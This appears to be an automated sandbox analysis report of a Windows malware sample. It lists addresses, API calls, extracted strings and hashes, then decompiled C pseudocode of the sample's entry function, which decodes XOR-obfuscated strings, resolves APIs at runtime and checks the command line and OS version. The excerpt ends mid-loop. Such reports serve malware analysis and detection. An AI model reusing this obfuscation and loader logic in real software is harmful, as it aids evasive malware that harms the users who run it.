0x00405fea
0x00405ff1
0x00405ff8
0x00405fff
0x00406006
0x00406015
0x0040601a
0x0040602c
0x0040602c
0x00406030
0x00000000
0x00000000
0x00406037
0x00406039
0x00406049
0x00406051
0x00406059
0x00406066
0x00406066
0x00406026
0x00406026
0x00406029
0x00406029
0x0040607d
0x0040608c
0x00406097
0x00406099
0x0040609b
0x0040609b
0x004060a0
0x004060a7
0x004060ae
0x004060b5
0x004060bc
0x004060c3
0x004060ca
0x004060d1
0x004060d8
0x004060df
0x004060e6
0x004060ed
0x004060f4
0x004060fb
0x00406102
0x00406109
0x00406110
0x0040611f
0x00406124
0x00406136
0x00406136
0x0040613a
0x00000000
0x00000000
0x00406141
0x00406143
0x00406153
0x0040615b
0x00406163
0x00406170
0x00406170
0x00406130
0x00406130
0x00406133
0x00406133
0x00406188
0x0040618e
0x00406190
0x00406192
0x00406192
0x00406197
0x0040619e
0x004061a5
0x004061ac
0x004061b3
0x004061ba
0x004061c1
0x004061c8
0x004061cf
0x004061d6
0x004061dd
0x004061e4
0x004061eb
0x004061f2
0x004061f9
0x00406200
0x00406207
0x0040620e
0x00406215
0x0040621c
0x00406223
0x0040622a
0x00406231
0x00406238
0x0040623f
0x00406246
0x0040624d
0x00406254
0x0040625b
0x00406262
0x00406269
0x00406270
0x00406277
0x0040627e
0x00406285
0x0040628c
0x00406293
0x0040629a
0x004062a1
0x004062a8
0x004062af
0x004062b6
0x004062bd
0x004062c4
0x004062cb
0x004062d2
0x004062d9
0x004062e0
0x004062ef
0x004062f4
0x00406306
0x00406306
0x0040630a
0x00000000
0x00000000
0x00406311
0x00406313
0x00406323
0x0040632b
0x00406333
0x00406340
0x00406340
0x00406300
0x00406300
0x00406303
0x00406303
0x00406354
0x00406366
0x00406371
0x00406373
0x00406375
0x00406375
0x0040637a
0x00406381
0x00406388
0x0040638f
0x00406396
0x0040639d
0x004063a4
0x004063ab
0x004063b2
0x004063b9
0x004063c0
0x004063c7
0x004063ce
0x004063d5
0x004063dc
0x004063e3
0x004063ea
0x004063f1
0x004063f8
0x004063ff
0x00406406
0x0040640d
0x00406414
0x0040641b
0x00406422
0x00406429
0x00406430
0x00406437
0x0040643e
0x0040644d
0x00406452
0x00406464
0x00406464
0x00406468
0x00000000
0x00000000
0x0040646f
0x00406471
0x00406481
0x00406489
0x00406491
0x0040649e
0x0040649e
0x0040645e
0x0040645e
0x00406461
0x00406461
0x004064b6
0x004064bc
0x004064be
0x004064c0
0x004064c0
0x004064c5
0x004064cc
0x004064d3
0x004064da
0x004064e1
0x004064e8
0x004064ef
0x004064f6
0x004064fd
0x00406504
0x0040650b
0x00406512
0x00406519
0x00406520
0x00406527
0x0040652e
0x00406535
0x0040653c
0x00406543
0x0040654a
0x00406551
0x00406558
0x0040655f
0x00406566
0x0040656d
0x00406574
0x0040657b
0x00406582
0x00406589
0x00406590
0x0040659f
0x004065a4
0x004065b6
0x004065b6
0x004065ba
0x00000000
0x00000000
0x004065c1
0x004065c3
0x004065d3
0x004065db
0x004065e3
0x004065f0
0x004065f0
0x004065b0
0x004065b0
0x004065b3
0x004065b3
0x00406608
0x0040660e
0x00406610
0x00406612
0x00406612
0x00406617
0x0040661e
0x00406625
0x0040662c
0x00406633
0x0040663a
0x00406641
0x00406648
0x0040664f
0x00406656
0x0040665d
0x00406664
0x0040666b
0x00406672
0x00406679
0x00406680
0x00406687
0x0040668e
0x00406695
0x0040669c
0x004066a3
0x004066aa
0x004066b1
0x004066b8
0x004066bf
0x004066c6
0x004066cd
0x004066d4
0x004066db
0x004066ea
0x004066ef
0x00406701
0x00406701
0x00406705
0x00000000
0x00000000
0x0040670c
0x0040670e
0x0040671e
0x00406726
0x0040672e
0x0040673b
0x0040673b
0x004066fb
0x004066fb
0x004066fe
0x004066fe
0x00406753
0x00406759
0x0040675b
0x0040675d
0x0040675d
0x00406762
0x0040676c
0x00406777
0x00406782
0x0040678d
0x00406798
0x004067a3
0x004067ae
0x004067b9
0x004067c4
0x004067cf
0x004067da
0x004067e5
0x004067f0
0x004067fb
0x00406803
0x0040680b
0x00406816
0x00406821
0x0040682c
0x00406837
0x00406842
0x0040684d
0x00406858
0x00406863
0x0040686f

APIs

Part of subcall function 004048B0: LoadLibraryA.KERNEL32(00000000), ref: 00404A5B
Part of subcall function 004048B0: GetProcAddress.KERNELBASE(00000000), ref: 00404A62

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

GetModuleHandleA.KERNELBASE(00000000,0000000C), ref: 00404F5B
GetModuleHandleA.KERNELBASE(00000000,0000000C), ref: 00405054
GetUserNameA.ADVAPI32(Version 70.20.49.01.0C ,00000400), ref: 00405079
lstrcmpA.KERNEL32(Version 70.20.49.01.0C ,00000000,0000000C), ref: 00405177
lstrcmpA.KERNEL32(Version 70.20.49.01.0C ,00000000,00000008), ref: 00405259
GetComputerNameA.KERNEL32(Version 70.20.49.01.0C ,00000400), ref: 0040536D
lstrcmpA.KERNEL32(Version 70.20.49.01.0C ,00000000,00000008,00000024), ref: 00405557
lstrcmpA.KERNEL32(Version 70.20.49.01.0C ,00000000,00000008), ref: 00405639

Part of subcall function 00404B10: RegCreateKeyA.ADVAPI32(80000002,00000000,00000000), ref: 00404B2E
Part of subcall function 00404B10: RegQueryValueExA.KERNEL32 ref: 00404B5B
Part of subcall function 00404B10: RegCloseKey.ADVAPI32(00000000), ref: 00404B65

StrStrA.SHLWAPI(Version 70.20.49.01.0C ,00000004), ref: 00405F5B
StrStrA.SHLWAPI(Version 70.20.49.01.0C ,00000000), ref: 00406188
StrStrA.SHLWAPI(Version 70.20.49.01.0C ,00000000), ref: 004064B6
StrStrA.SHLWAPI(Version 70.20.49.01.0C ,00000000), ref: 00406608
StrStrA.SHLWAPI(Version 70.20.49.01.0C ,00000000), ref: 00406753

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

Part of subcall function 00404D20: GetProcAddress.KERNEL32(00000000,00000000,00000015), ref: 00404DEE
Part of subcall function 00404D20: Sleep.KERNEL32(00002710), ref: 00404DFD

Strings

a, xrefs: 004063DC
w, xrefs: 0040662C
I, xrefs: 00405D20
U, xrefs: 004060C3
s, xrefs: 004063E3
m, xrefs: 00405597
v, xrefs: 00405679
e, xrefs: 004053EC
Y, xrefs: 004064E1
t, xrefs: 00406414
&, xrefs: 004050C7
O, xrefs: 00405C42
Y, xrefs: 004062B6
<, xrefs: 004050CE
:, xrefs: 004061B3
B, xrefs: 004058CE
7, xrefs: 00405280
-, xrefs: 00405FD5
*, xrefs: 00404F86
8, xrefs: 004052CD
2, xrefs: 00405C73
3, xrefs: 004056B1
w, xrefs: 004066B1
N, xrefs: 00406520
0, xrefs: 004056DB
Kl0wNM, xrefs: 0040502C
bW56e7, xrefs: 00405468
v, xrefs: 00406672
Version 70.20.49.01.0C , xrefs: 00405074, 00405172, 00405254, 00405368, 00405552, 00405634, 00405897, 00405F56, 00406072, 00406183, 0040634C, 004064B1, 00406603, 0040674E
&, xrefs: 00405F81
^, xrefs: 0040655F
$, xrefs: 004061F9
b, xrefs: 004063FF
6, xrefs: 00405492
bJxbvp, xrefs: 0040552A
5, xrefs: 00405F6C
M, xrefs: 00406381
5SCOK, xrefs: 00406726
7, xrefs: 0040539F
3, xrefs: 004052E2
OoUCN1, xrefs: 0040514A
$, xrefs: 004060CA
1, xrefs: 0040621C
a, xrefs: 00406527
T, xrefs: 00404FA2
I, xrefs: 00405C6C
%, xrefs: 0040623F
, xrefs: 00406269
(, xrefs: 004052C6
y, xrefs: 0040669C
-, xrefs: 0040620E
/, xrefs: 00405FB2
x, xrefs: 00405C26
#, xrefs: 004061C8
K, xrefs: 0040641B
Y, xrefs: 004057C1
@, xrefs: 0040537C
E, xrefs: 004053C2
m3ocvV, xrefs: 00405777
r, xrefs: 004064EF
A, xrefs: 00405C5E
\, xrefs: 00405C34
M, xrefs: 00404FB7
v, xrefs: 00406388
?, xrefs: 004054A7
!, xrefs: 004057AC
%, xrefs: 004058C2
a, xrefs: 004056A3
W, xrefs: 00405383
J, xrefs: 00405295
y, xrefs: 004063F8
., xrefs: 0040569C
?, xrefs: 004060D8
w, xrefs: 00405A1F
d, xrefs: 00406551
*, xrefs: 00405800
;, xrefs: 00405C11
3, xrefs: 00405680
|, xrefs: 00406633
HlP8v4, xrefs: 0040615B
", xrefs: 004060AE
J, xrefs: 004054B5
6, xrefs: 004053BB
O, xrefs: 004052AA
3, xrefs: 0040568E
Q, xrefs: 004051B7
I, xrefs: 00405D27
, xrefs: 004061EB
y, xrefs: 00405807
lqoy2X, xrefs: 00405CE8
+, xrefs: 004050A4
e, xrefs: 004064D3
), xrefs: 0040619E
`, xrefs: 00406641
20e0Dy, xrefs: 00405879
, xrefs: 00405574
r, xrefs: 00405A18
s, xrefs: 004063CE
s, xrefs: 004064C5
], xrefs: 0040650B
,, xrefs: 0040627E
7, xrefs: 00405D12
', xrefs: 00405F8F
F, xrefs: 0040529C
", xrefs: 004056B8
<, xrefs: 00405AB7
TBR63, xrefs: 00404F33
F, xrefs: 004052A3
L, xrefs: 00405C2D
e, xrefs: 0040661E
], xrefs: 0040653C
l, xrefs: 00405C50
6, xrefs: 00405391
7, xrefs: 004053C9
N, xrefs: 004063C7
>, xrefs: 00406223
_, xrefs: 004057F9
8, xrefs: 00404F6A
k, xrefs: 00405980
dmHbqV, xrefs: 00405941
g, xrefs: 00405AD3
', xrefs: 00405687
F, xrefs: 004052E9
+, xrefs: 00405DD4
", xrefs: 00405186
!, xrefs: 004051A2
%, xrefs: 00405648
!, xrefs: 00404F8D
_, xrefs: 00405C65
RfWXmY, xrefs: 0040632B
DyQ9np, xrefs: 004065DB
n, xrefs: 0040668E
{, xrefs: 004063B2
f, xrefs: 00406687
N, xrefs: 00405D2E
B, xrefs: 00404F9B
}, xrefs: 004056CD
w, xrefs: 00406625
\, xrefs: 00405C57
NdyHdx, xrefs: 00405DA3
x, xrefs: 0040664F
#, xrefs: 00405DC6
4, xrefs: 004054A0
a, xrefs: 00405790
8, xrefs: 00405972
!, xrefs: 00405F9D
@, xrefs: 004053A6
c, xrefs: 00405705
4, xrefs: 00405A2D
7, xrefs: 004062A8
*, xrefs: 00406306
', xrefs: 00405FC7
s, xrefs: 00406519
", xrefs: 004056C6
p, xrefs: 0040637A
Y, xrefs: 00404F78
L08Z4, xrefs: 00405A9B
%, xrefs: 004056E9
>, xrefs: 004062A1
G, xrefs: 004053D0
-, xrefs: 00405F7A
E0epUk, xrefs: 004059F5
9, xrefs: 00406277
%, xrefs: 00405C03
:, xrefs: 004061E4
p, xrefs: 00406566
=, xrefs: 00405656
p, xrefs: 00406648
d9drv, xrefs: 00405BE7
6, xrefs: 0040622A
x, xrefs: 004063D5
1, xrefs: 00405484
<, xrefs: 00405C18
O, xrefs: 004066B8
~, xrefs: 00405C1F
%, xrefs: 00405F88
v, xrefs: 00406543
&, xrefs: 00405499
, xrefs: 004058C6
r, xrefs: 0040564F
C, xrefs: 004057CF
j@, xrefs: 00404FFE, 00405021, 00405016, 00405037
3, xrefs: 004056D4
@, xrefs: 004060DF
Y, xrefs: 00406535
|, xrefs: 00406406
:, xrefs: 004050B9
6, xrefs: 00406238
e, xrefs: 00406396
1, xrefs: 004050D5
_, xrefs: 004050AB
;, xrefs: 004050B2
p, xrefs: 004057BA
J, xrefs: 00405FDC
0, xrefs: 00405D0B
C, xrefs: 004057EB
r, xrefs: 00406679
8, xrefs: 00405287
&, xrefs: 004056AA
., xrefs: 004060D1
|, xrefs: 0040638F
0 5^V82|R_8B, xrefs: 00404F20, 00404F3D
0, xrefs: 0040518D
W, xrefs: 004053AD
q, xrefs: 004058D2
', xrefs: 00405096
}, xrefs: 00406695
2, xrefs: 00405272
L, xrefs: 004060B5
', xrefs: 00405F73
F, xrefs: 004053DE
&, xrefs: 0040596B
7t';v, xrefs: 00405BD4, 00405BF1
v, xrefs: 004060E6
J, xrefs: 004052DB
?, xrefs: 00405C0A
7, xrefs: 004053F3
+, xrefs: 00406262
w, xrefs: 004063C0
t, xrefs: 00405566
M, xrefs: 004064F6
h, xrefs: 0040639D
M, xrefs: 0040640D
#, xrefs: 004052B8
', xrefs: 0040565D
, xrefs: 00406293
J3F8z, xrefs: 00405348
|, xrefs: 004063B9
&, xrefs: 004050C0
ExDKQ, xrefs: 00406489
:, xrefs: 00405FA4
0, xrefs: 00405ABE
p, xrefs: 004063AB
CmiTvA, xrefs: 0040560C
:, xrefs: 004054AE
6, xrefs: 004053E5
XlVbzW, xrefs: 00405E50
>, xrefs: 0040556D
z, xrefs: 00405DDB
3, xrefs: 00405279
1, xrefs: 0040509D
?, xrefs: 00405672
], xrefs: 004064E8
3, xrefs: 004052BF
;, xrefs: 00406285
<, xrefs: 0040628C
W, xrefs: 004053D7
e, xrefs: 004064FD
V, xrefs: 004056F7
L, xrefs: 004063EA
qQioCW, xrefs: 0040522C
, xrefs: 00405582
I, xrefs: 00405797
', xrefs: 00404F94
O, xrefs: 00405C3B
!, xrefs: 00405664
i, xrefs: 004063F1
8, xrefs: 004051A9
O, xrefs: 004064CC
J, xrefs: 0040654A
z, xrefs: 004052B1
g, xrefs: 00406664
N, xrefs: 004063A4
D, xrefs: 004057A5
cNICJe, xrefs: 00406051
7, xrefs: 00406200
f, xrefs: 00406656
b, xrefs: 004066AA
A, xrefs: 00406512
&, xrefs: 00405FCE
muHTg, xrefs: 00405B41
", xrefs: 00404FB0
@, xrefs: 004057E4
q, xrefs: 0040666B

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heaplstrcmp$AddressHandleModuleNameProcProcess$AllocCloseComputerCreateFreeLibraryLoadQuerySleepUserValue
String ID: $ $ $ $ $ $!$!$!$!$!$"$"$"$"$"$#$#$#$$$$$%$%$%$%$%$%$&$&$&$&$&$&$&$'$'$'$'$'$'$'$($)$*$*$*$+$+$+$,$-$-$-$.$.$/$0$0$0$0$0 5^V82|R_8B$1$1$1$1$2$2$20e0Dy$3$3$3$3$3$3$3$4$4$5$5SCOK$6$6$6$6$6$6$7$7$7$7$7$7$7$7t';v$8$8$8$8$8$9$:$:$:$:$:$;$;$;$<$<$<$<$=$>$>$>$?$?$?$?$@$@$@$@$A$A$B$B$C$C$CmiTvA$D$DyQ9np$E$E0epUk$ExDKQ$F$F$F$F$G$HlP8v4$I$I$I$I$J$J$J$J$J$J3F8z$K$Kl0wNM$L$L$L$L08Z4$M$M$M$M$N$N$N$N$NdyHdx$O$O$O$O$O$OoUCN1$Q$RfWXmY$T$TBR63$U$V$Version 70.20.49.01.0C $W$W$W$XlVbzW$Y$Y$Y$Y$Y$\$\$]$]$]$^$_$_$_$`$a$a$a$a$b$b$bJxbvp$bW56e7$c$cNICJe$d$d9drv$dmHbqV$e$e$e$e$e$f$f$g$g$h$i$j@$k$l$lqoy2X$m$m3ocvV$muHTg$n$p$p$p$p$p$q$q$qQioCW$r$r$r$r$s$s$s$s$t$t$v$v$v$v$v$w$w$w$w$w$x$x$x$y$y$y$z$z${$|$|$|$|$}$}$~
API String ID: 1734835678-2091908506
Opcode ID: ba6ce687768172181dacc4180ccb94017b1880d78a51f94cbd1eed5f6e72db7f
Instruction ID: b5c69ded90ff4af6fb0b773e83f7143eacd144ad6023c0eabd1fec81e0083f53
Opcode Fuzzy Hash: ba6ce687768172181dacc4180ccb94017b1880d78a51f94cbd1eed5f6e72db7f
Instruction Fuzzy Hash: 3EF202709082E8C9EB25D668DD587DEBFB15F12308F1440E9D5893A2C2C7B91F89CF66

Function 00415FE0, Relevance: 305.1, APIs: 30, Strings: 144, Instructions: 605
memorylibrarysleepCrypto

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 65%

			_entry_(void* __eflags) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				void* _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				WCHAR* _v56;
				void* _v60;
				void* _v64;
				char _v68;
				char _v72;
				char _v76;
				char _v77;
				char _v78;
				char _v79;
				char _v80;
				char _v84;
				char _v85;
				char _v86;
				char _v87;
				char _v88;
				char _v91;
				char _v92;
				char _v93;
				char _v94;
				char _v95;
				char _v96;
				char _v99;
				char _v100;
				char _v101;
				char _v102;
				char _v103;
				char _v104;
				char _v107;
				char _v108;
				char _v109;
				char _v110;
				char _v111;
				char _v112;
				char _v115;
				char _v116;
				char _v117;
				char _v118;
				char _v119;
				char _v120;
				char _v121;
				char _v122;
				char _v123;
				char _v124;
				char _v125;
				char _v126;
				char _v127;
				char _v128;
				char _v129;
				char _v130;
				char _v131;
				char _v132;
				char _v133;
				char _v134;
				char _v135;
				char _v136;
				char _v137;
				char _v138;
				char _v139;
				char _v140;
				char _v141;
				char _v142;
				char _v143;
				char _v144;
				char _v147;
				char _v148;
				char _v149;
				char _v150;
				char _v151;
				char _v152;
				char _v153;
				char _v154;
				char _v155;
				char _v156;
				char _v157;
				char _v158;
				char _v159;
				char _v160;
				char _v161;
				char _v162;
				char _v163;
				char _v164;
				char _v166;
				char _v167;
				char _v168;
				char _v169;
				char _v170;
				char _v171;
				char _v172;
				char _v173;
				char _v174;
				char _v175;
				char _v176;
				char _v177;
				char _v178;
				char _v179;
				char _v180;
				char _v181;
				char _v182;
				char _v183;
				char _v184;
				char _v185;
				char _v186;
				char _v187;
				char _v188;
				char _v189;
				char _v190;
				char _v191;
				char _v192;
				char _v193;
				char _v194;
				char _v195;
				char _v196;
				char _v197;
				char _v198;
				char _v199;
				char _v200;
				char _v201;
				char _v202;
				char _v203;
				char _v204;
				char _v205;
				char _v206;
				char _v207;
				char _v208;
				char _v209;
				char _v210;
				char _v211;
				char _v212;
				char _v213;
				char _v214;
				char _v215;
				char _v216;
				char _v217;
				char _v218;
				char _v219;
				char _v220;
				char _v221;
				char _v222;
				char _v223;
				char _v224;
				char _v227;
				char _v228;
				char _v229;
				char _v230;
				char _v231;
				char _v232;
				char _v233;
				char _v234;
				char _v235;
				char _v236;
				char _v237;
				char _v238;
				char _v239;
				char _v240;
				char _v241;
				char _v242;
				char _v243;
				char _v244;
				char _v245;
				char _v246;
				char _v247;
				char _v248;
				char _v249;
				char _v250;
				char _v251;
				char _v252;
				char _v253;
				char _v254;
				char _v255;
				char _v256;
				char _v257;
				char _v258;
				char _v259;
				char _v260;
				char _v261;
				char _v262;
				char _v263;
				char _v264;
				char _v265;
				char _v266;
				char _v267;
				char _v268;
				char _v269;
				char _v270;
				char _v271;
				char _v272;
				char _v273;
				char _v274;
				char _v275;
				char _v276;
				char _v277;
				char _v278;
				char _v279;
				char _v280;
				char _v281;
				char _v282;
				char _v283;
				char _v284;
				char _v285;
				char _v286;
				char _v287;
				char _v288;
				char _v289;
				char _v290;
				char _v291;
				char _v292;
				char _v293;
				char _v294;
				char _v295;
				char _v296;
				char _v297;
				char _v298;
				char _v299;
				char _v300;
				char _v301;
				char _v302;
				char _v303;
				char _v304;
				int _v308;
				signed int _v312;
				signed int _v316;
				signed int _v320;
				intOrPtr _v324;
				int _v332;
				_Unknown_base(*)()* _v336;
				int _v340;
				void _v852;
				void* _t380;
				signed int _t381;
				CHAR* _t390;
				_Unknown_base(*)()* _t393;
				WCHAR* _t394;
				signed int _t403;
				signed int _t406;
				void* _t428;
				signed int _t441;
				intOrPtr _t443;
				intOrPtr _t455;
				signed int _t481;
				intOrPtr _t521;
				signed int _t523;
				signed short _t534;
				signed int _t540;
				signed int _t545;
				signed int _t550;
				signed int _t571;
				void* _t601;

				_v332 = 0;
				_v340 = 0;
				_v36 = 0;
				_v60 = 0;
				_v64 = 0;
				_v56 = 0;
				_t380 = E0041B410(); // executed
				if(_t380 == 0) {
					_t381 = SetErrorMode(0); // executed
					SetErrorMode(_t381 | 0x00000002); // executed
					_v132 = 0x27;
					_v131 = 0x3b;
					_v130 = 0x1f;
					_v129 = 0x78;
					_v128 = 0xb;
					_v127 = 0x5b;
					_v126 = 0x46;
					_v125 = 0x5d;
					_v124 = 0x3e;
					_v123 = 0x58;
					_v122 = 0x2b;
					_v121 = 0x68;
					_v96 = 0x74;
					_v95 = 0x73;
					_v94 = 0x5a;
					_v93 = 0x34;
					_v92 = 0x47;
					_v91 = 0x68;
					E00402B00( &_v52, 0xc);
					_v8 = 0;
					while(1) {
						__eflags = _v8 - 0xc;
						if(_v8 >= 0xc) {
							break;
						}
						__eflags = 1;
						if(1 != 0) {
							asm("cdq");
							_t39 = _v8 % 6 - 0x5c; // 0x74
							__eflags =  *(_t601 + _v8 - 0x80) & 0x000000ff ^  *(_t601 + _t39) & 0x000000ff;
							E00402AE0( &_v52, _v8,  *(_t601 + _v8 - 0x80) & 0x000000ff ^  *(_t601 + _t39) & 0x000000ff);
						}
						_t481 = _v8 + 1;
						__eflags = _t481;
						_v8 = _t481;
					}
					_v184 = 0x3a;
					_v183 = 0x25;
					_v182 = 0x20;
					_v181 = 0x1f;
					_v180 = 0x51;
					_v179 = 0x17;
					_v178 = 0x2e;
					_v177 = 1;
					_v176 = 0x1b;
					_v175 = 0x5e;
					_v174 = 0x1c;
					_v173 = 0x1e;
					_v172 = 0x22;
					_v171 = 0x33;
					_v170 = 0x42;
					_v169 = 0x1e;
					_v168 = 0x3c;
					_v167 = 0x1a;
					_v166 = 0x72;
					_v80 = 0x79;
					_v79 = 0x4a;
					_v78 = 0x4d;
					_v77 = 0x72;
					_v76 = 0x30;
					E00402B00( &_v48, 0x13);
					_v12 = 0;
					while(1) {
						__eflags = _v12 - 0x13;
						if(_v12 >= 0x13) {
							break;
						}
						__eflags = 1;
						if(1 != 0) {
							asm("cdq");
							_t80 = _v12 % 5 - 0x4c; // 0x79
							__eflags =  *(_t601 + _v12 - 0xb4) & 0x000000ff ^  *(_t601 + _t80) & 0x000000ff;
							E00402AE0( &_v48, _v12,  *(_t601 + _v12 - 0xb4) & 0x000000ff ^  *(_t601 + _t80) & 0x000000ff);
						}
						_t550 = _v12 + 1;
						__eflags = _t550;
						_v12 = _t550;
					}
					_v164 = 0x19;
					_v163 = 0x63;
					_v162 = 0x1c;
					_v161 = 0x55;
					_v160 = 0x78;
					_v159 = 0x39;
					_v158 = 0x15;
					_v157 = 0x31;
					_v156 = 0x22;
					_v155 = 0x55;
					_v154 = 0x41;
					_v153 = 0x63;
					_v152 = 0x48;
					_v151 = 0x55;
					_v150 = 0x2f;
					_v149 = 0x39;
					_v148 = 0x63;
					_v147 = 0x31;
					_v88 = 0x39;
					_v87 = 0x63;
					_v86 = 0x31;
					_v85 = 0x55;
					_v84 = 0x55;
					E00402B00( &_v44, 0x24);
					_v16 = 0;
					while(1) {
						__eflags = _v16 - 0x12;
						if(_v16 >= 0x12) {
							break;
						}
						__eflags = 1;
						if(1 != 0) {
							asm("cdq");
							_t120 = _v16 % 5 - 0x54; // 0x39
							__eflags =  *(_t601 + _v16 - 0xa0) & 0x000000ff ^  *(_t601 + _t120) & 0x000000ff;
							E00402AE0( &_v44, _v16,  *(_t601 + _v16 - 0xa0) & 0x000000ff ^  *(_t601 + _t120) & 0x000000ff);
						}
						_t545 = _v16 + 1;
						__eflags = _t545;
						_v16 = _t545;
					}
					_v144 = 0x7c;
					_v143 = 0x4e;
					_v142 = 0x16;
					_v141 = 0x6b;
					_v140 = 0x3f;
					_v139 = 0x4b;
					_v138 = 0x22;
					_v137 = 0x4e;
					_v136 = 0x16;
					_v135 = 0x6b;
					_v134 = 0x5a;
					_v133 = 0x4b;
					_v104 = 0x51;
					_v103 = 0x4e;
					_v102 = 0x62;
					_v101 = 0x6b;
					_v100 = 0x5a;
					_v99 = 0x4b;
					E00402B00( &_v40, 0x18);
					_v20 = 0;
					while(1) {
						__eflags = _v20 - 0xc;
						if(_v20 >= 0xc) {
							break;
						}
						__eflags = 1;
						if(1 != 0) {
							asm("cdq");
							_t155 = _v20 % 6 - 0x64; // 0x51
							__eflags =  *(_t601 + _v20 - 0x8c) & 0x000000ff ^  *(_t601 + _t155) & 0x000000ff;
							E00402AE0( &_v40, _v20,  *(_t601 + _v20 - 0x8c) & 0x000000ff ^  *(_t601 + _t155) & 0x000000ff);
						}
						_t540 = _v20 + 1;
						__eflags = _t540;
						_v20 = _t540;
					}
					memset( &_v852, 0, 0x200 << 0);
					_t390 = E00402AD0( &_v48);
					_t393 = GetProcAddress(LoadLibraryA(E00402AD0( &_v52)), _t390); // executed
					_v336 = _t393;
					_t394 = GetCommandLineW(); // executed
					_v56 = _t394;
					_v340 = _v336(_v56,  &_v332);
					_v36 = HeapAlloc(GetProcessHeap(), 8, 0x208);
					memset(_v36, 0, 0x208 << 0);
					GetModuleFileNameW(0, _v36, 0x104); // executed
					 *0x42934c = _v36;
					_t403 = StrStrIW(_v56, E00402AD0( &_v40)); // executed
					__eflags = _t403;
					if(_t403 == 0) {
						_t406 = StrStrIW(_v56, E00402AD0( &_v44)); // executed
						__eflags = _t406;
						if(_t406 == 0) {
							_v324 = E004110F0(GetCurrentProcess());
							_v32 = 0;
							_v312 = 0;
							_v316 = 0;
							_v320 = 0;
							_v32 = GetVersion();
							_v312 = _v32 & 0xff;
							_v316 = (_v32 & 0xffff) >> 0x00000008 & 0xff;
							__eflags = _v32 - 0x80000000;
							if(_v32 < 0x80000000) {
								_t534 = _v32 >> 0x00000010 & 0x0000ffff;
								__eflags = _t534;
								_v320 = _t534 & 0x0000ffff;
							}
							__eflags = _v324 - 1;
							if(__eflags != 0) {
								_v304 = 0x41;
								_v303 = 0x77;
								_v302 = 0xb;
								_v301 = 0x44;
								_v300 = 0x64;
								_v299 = 0x37;
								_v298 = 0x34;
								_v297 = 0x77;
								_v296 = 0xe;
								_v295 = 0x44;
								_v294 = 0x75;
								_v293 = 0x37;
								_v292 = 0x30;
								_v291 = 0x77;
								_v290 = 0xb;
								_v289 = 0x44;
								_v288 = 0x11;
								_v287 = 0x37;
								_v286 = 0x38;
								_v285 = 0x77;
								_v284 = 7;
								_v283 = 0x44;
								_v282 = 0x5d;
								_v281 = 0x37;
								_v280 = 7;
								_v279 = 0x77;
								_v278 = 0x38;
								_v277 = 0x44;
								_v276 = 0x5b;
								_v275 = 0x37;
								_v274 = 0x17;
								_v273 = 0x77;
								_v272 = 0x25;
								_v271 = 0x44;
								_v270 = 0x52;
								_v269 = 0x37;
								_v268 = 0x10;
								_v267 = 0x77;
								_v266 = 0x16;
								_v265 = 0x44;
								_v264 = 0x7d;
								_v263 = 0x37;
								_v262 = 0xa;
								_v261 = 0x77;
								_v260 = 0x3e;
								_v259 = 0x44;
								_v258 = 0x51;
								_v257 = 0x37;
								_v256 = 0x16;
								_v255 = 0x77;
								_v254 = 0x24;
								_v253 = 0x44;
								_v252 = 0x51;
								_v251 = 0x37;
								_v250 = 0x10;
								_v249 = 0x77;
								_v248 = 0x6a;
								_v247 = 0x44;
								_v246 = 0x71;
								_v245 = 0x37;
								_v244 = 0x1c;
								_v243 = 0x77;
								_v242 = 0x3a;
								_v241 = 0x44;
								_v240 = 0x58;
								_v239 = 0x37;
								_v238 = 0xb;
								_v237 = 0x77;
								_v236 = 0x38;
								_v235 = 0x44;
								_v234 = 0x51;
								_v233 = 0x37;
								_v232 = 0x16;
								_v231 = 0x77;
								_v230 = 0x16;
								_v229 = 0x44;
								_v228 = 0x34;
								_v227 = 0x37;
								_v112 = 0x64;
								_v111 = 0x77;
								_v110 = 0x4a;
								_v109 = 0x44;
								_v108 = 0x34;
								_v107 = 0x37;
								E00402B00( &_v72, 0x9c);
								_v24 = 0;
								while(1) {
									__eflags = _v24 - 0x4e;
									if(_v24 >= 0x4e) {
										break;
									}
									__eflags = 1;
									if(1 != 0) {
										asm("cdq");
										_t296 = _v24 % 6 - 0x6c; // 0x64
										__eflags =  *(_t601 + _v24 - 0x12c) & 0x000000ff ^  *(_t601 + _t296) & 0x000000ff;
										E00402AE0( &_v72, _v24,  *(_t601 + _v24 - 0x12c) & 0x000000ff ^  *(_t601 + _t296) & 0x000000ff);
									}
									_t571 = _v24 + 1;
									__eflags = _t571;
									_v24 = _t571;
								}
								_v224 = 0x4e;
								_v223 = 0x66;
								_v222 = 0x11;
								_v221 = 0x39;
								_v220 = 0x1b;
								_v219 = 0x61;
								_v218 = 0x18;
								_v217 = 0x66;
								_v216 = 0x36;
								_v215 = 0x39;
								_v214 = 7;
								_v213 = 0x61;
								_v212 = 6;
								_v211 = 0x66;
								_v210 = 0x10;
								_v209 = 0x39;
								_v208 = 0xd;
								_v207 = 0x61;
								_v206 = 4;
								_v205 = 0x66;
								_v204 = 0x36;
								_v203 = 0x39;
								_v202 = 0x47;
								_v201 = 0x61;
								_v200 = 0x37;
								_v199 = 0x66;
								_v198 = 0x16;
								_v197 = 0x39;
								_v196 = 3;
								_v195 = 0x61;
								_v194 = 0x18;
								_v193 = 0x66;
								_v192 = 0x29;
								_v191 = 0x39;
								_v190 = 0x11;
								_v189 = 0x61;
								_v188 = 0x37;
								_v187 = 0x66;
								_v186 = 0x42;
								_v185 = 0x39;
								_v120 = 0x6b;
								_v119 = 0x66;
								_v118 = 0x42;
								_v117 = 0x39;
								_v116 = 0x62;
								_v115 = 0x61;
								E00402B00( &_v68, 0x50);
								_v28 = 0;
								while(1) {
									__eflags = _v28 - 0x28;
